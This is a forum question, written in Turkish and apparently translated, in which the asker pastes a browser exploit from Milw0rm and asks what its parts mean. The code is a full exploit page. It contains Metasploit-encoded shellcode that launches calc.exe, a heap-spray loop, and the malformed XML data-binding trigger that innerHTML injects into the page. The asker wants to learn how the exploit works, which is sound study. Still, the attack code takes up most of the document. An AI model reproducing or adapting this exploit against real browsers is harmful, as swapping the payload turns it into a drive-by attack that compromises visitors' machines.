Genelde JavaScript kodunu okumakta zorluk çekmiyorum ama bunun için mantığı çözemiyorum. Kod, 4 gün önce yayınlanan bir güvenlik açığından alınmıştır. Milw0rm'de bulabilirsiniz .
İşte kod:
<html>
<div id="replace">x</div>
<script>
// windows/exec - 148 bytes
// http://www.metasploit.com
// Encoder: x86/shikata_ga_nai
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");
// ugly heap spray, the d0nkey way!
// works most of the time
var spray = unescape("%u0a0a%u0a0a");
do {
spray += spray;
} while(spray.length < 0xd0000);
memory = new Array();
for(i = 0; i < 100; i++)
memory[i] = spray + shellcode;
xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://ਊਊ.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";
tag = document.getElementById("replace");
tag.innerHTML = xmlcode;
</script>
</html>
İşte bunun olduğuna inandığım şey ve yanlış anladığım kısım için bana yardım etmenizi istiyorum.
Değişken shellcodeaçmak için kod içerir calc.exe. Bu tuhaf ipi nasıl bulduklarını anlamıyorum. Herhangi bir fikir?
İkinci şey değişkendir spray. Bu tuhaf döngüyü anlamıyorum.
Üçüncü şey, memoryhiçbir yerde kullanılmayan değişkendir . Neden yaratıyorlar?
Son olarak: XML etiketi sayfada ne yapar?
Şu an için iyi cevaplarım var ama çoğunlukla çok genel olanlar. Kodun değeri hakkında daha fazla açıklama istiyorum. Bir örnek unescape("%u0a0a%u0a0a");. Bunun anlamı ne? Döngü için aynı şey: geliştirici neden yazdı length < 0xd0000:? Daha derin bir anlayış istiyorum, sadece bu kodun teorisini değil.